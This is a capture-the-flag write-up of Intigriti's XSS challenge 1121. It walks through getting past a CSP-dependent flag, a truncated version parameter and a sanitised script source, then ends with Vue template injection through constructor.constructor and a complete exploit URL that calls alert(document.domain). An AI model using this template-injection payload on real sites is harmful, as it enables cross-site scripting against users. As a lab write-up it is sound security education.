Find a way to execute arbitrary javascript
Challenge page is here https://challenge-1121.intigriti.io/challenge/index.php?s=security
Upon loading the page I see the following:
This is the interesting code when viewing source of the page:
<head>
<title>You searched for 'security'</title>
<script nonce="5c3968db3fcb4cd96376ba807f94996">
var isProd = true;
</script>
<script nonce="5c3968db3fcb4cd96376ba807f94996">
function addJS(src, cb){
let s = document.createElement('script');
s.src = src;
s.onload = cb;
let sf = document.getElementsByTagName('script')[0];
sf.parentNode.insertBefore(s, sf);
}
function initVUE(){
if (!window.Vue){
setTimeout(initVUE, 100);
}
new Vue({/* elided for space */})
}
</script>
<script nonce="5c3968db3fcb4cd96376ba807f94996">
var delimiters = ['v-{{', '}}'];
addJS('./vuejs.php', initVUE);
</script>
<script nonce="5c3968db3fcb4cd96376ba807f94996">
if (!window.isProd){
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
if (version === 999999999999){
setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){
addJS(vueDevtools, window.initVUE);
} else{
console.log(performance)
}
}
</script>
My first instinct when looking for XSS is just insert <script>
, so I add that to the s
query param ?s=<script>
. I can tell this is injecting unescaped HTML by the way the syntax highlighting changed in the source tab:
However heading over to the Elements tab shows Chrome isn't interpreting it the way I was expecting:
Maybe I need to close the title tag first, so change the query param to ?s=</title><script>
. This results in:
Yes that looks thoroughly screwed up now. In the console, I'm now getting an error:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'unsafe-eval' [...] is required to enable inline execution.
This change has disabled the whole <script>
block, meaning isProd=true
is no longer being set. So in the final <script>
on the page, I can now access the rest of the code that was protected by if (!window.isProd)
since window.isProd
is undefined
and !undefined
is Truthy.
Here's that code block again:
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
if (version === 999999999999){
setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){
addJS(vueDevtools, window.initVUE);
} else{
console.log(performance)
}
It looks like it should be calling console.log(performance)
and can verify I see performance output in the console. The other two branches of the if/else statement appear to be reachable by changing the version
query parameter.
However, upon closer inspection the first condition if (version === 999...)
can never be true since version
is always a string and it uses triple-equals.
The remaining condition else if (version > 1000000000000)
uses >
which means I can compare a string to a number since JavaScript will coerce the string into a number. One caveat though:
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
The code is truncating the query param, so I can't just type 1000000000001
. There are plenty of ways around this though. One way is to use scientific notation like 1e13
or even Infinity
. So now the query params look like this: ?s=</title><script>&version=1e13
.
Now we are able to call addJS(vueDevtools, window.initVUE);
and I can control what the variable vueDevtools
contains, but again with a caveat:
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
The code is sanitizing the input to remove anything that is not alphanumeric, a percent, or a forward slash. If I look again at what addJS
actually does:
function addJS(src, cb){
let s = document.createElement('script');
s.src = src;
s.onload = cb;
let sf = document.getElementsByTagName('script')[0];
sf.parentNode.insertBefore(s, sf);
}
It is inserting a <script>
and setting what we pass as the src
attribute. This means I can load a script from anywhere... except for the sanitizing that is happening means I can't use special characters like what would be needed for src="http://evil.com/xss.js"
. But I CAN load scripts that are already on the server, and that's what the code does in one of the other <script>
blocks:
var delimiters = ['v-{{', '}}'];
addJS('./vuejs.php', initVUE);
Looking at vuejs.php
it appears to be the entire Vue JavaScript library, so I just naively try to load it again, my query is now: ?s=</title><script>&version=1e13&vueDevtools=./vuejs.php
Over in the console I now see:
Ah! It's loading Vue twice now, which means it is probably vulnerable to a template attack. But how can I change the template? Well it initializes Vue like so:
new Vue({
el: '#app',
delimiters: window.delimiters,
So Vue will load the template from the DOM itself, and I can see that further down inside the <body>
:
<body>
<div id="app">
<form action="" method="GET">
<input type="text "name="s" v-model="search"/>
<input type="submit" value="🔍">
</form>
<p>You searched for v-{{search}}</p>
<ul class="tilesWrap">
<li v-for="item in owasp">
<h2>v-{{item.target}}</h2>
<h3>v-{{item.title}}</h3>
<p>v-{{item.description}}</p>
<p>
<a v-bind:href="'https://blog.intigriti.com/2021/09/10/owasp-top-10/#'+item.target" target="blog" class="readMore">Read more</a>
</p>
</li>
</ul>
</div>
</body>
I can't change THIS template, but since the page is injecting the input v-{{search}}
when Vue is loaded the SECOND time it loads and evaluates whatever is there as the template again!
So the first shot is to try to change the s
query param to include a template injection: s=v-{{alert(document.domain)}}<%2Ftitle><script>
This fails (but blanks out the page -- always a good sign) with a console message Property or method "alert" is not defined on the instance but referenced during render. Make sure that this property is reactive, either in the data option, or for class-based components, by initializing the property.
.
I've done a lot of Vue work so I know that you can't just call {{ alert() }}
in a template, Vue expects all calls to be on the component instance, so it's essentially interpreting that as {{ this.alert() }}
which doesn't exist. I'd have to define it in data
, methods
, or a number of other places.
However, the workaround for this is Googlable. Thanks to https://github.com/dotboris/vuejs-serverside-template-xss, I can trigger the alert using this: {{ constructor.constructor("alert(document.domain)")() }}
Here's the explanation from that page:
This looks obtuse but it's surprisingly simple. We know that we're evaluated against our template data. When we write constructor, it's interpreted as templateData.constructor. Our template data is an object. All objects in javascript have a constructor. So constructor gives us Vue$3 (the Vue.js constructor).
In javascript, all constructors are functions and all functions are objects. This means that Vue$3 has a constructor. This constructor is the Function constructor. Writing constructor.constructor gives us the Function constructor.
The Function constructor let's us define a function dynamically at runtime. We pass it the code of our function and it returns a function that we can run. In this case we end up with Function("alert('xss')")(). This creates a function that calls alert (the real alert in the global scope) and then calls it.
So thanks to that, our final URL is https://challenge-1121.intigriti.io/challenge/index.php?s=v-{{constructor.constructor(%22alert(document.domain)%22)()}}%3C%2Ftitle%3E%3Cscript%3E&version=1e13&vueDevtools=./vuejs.php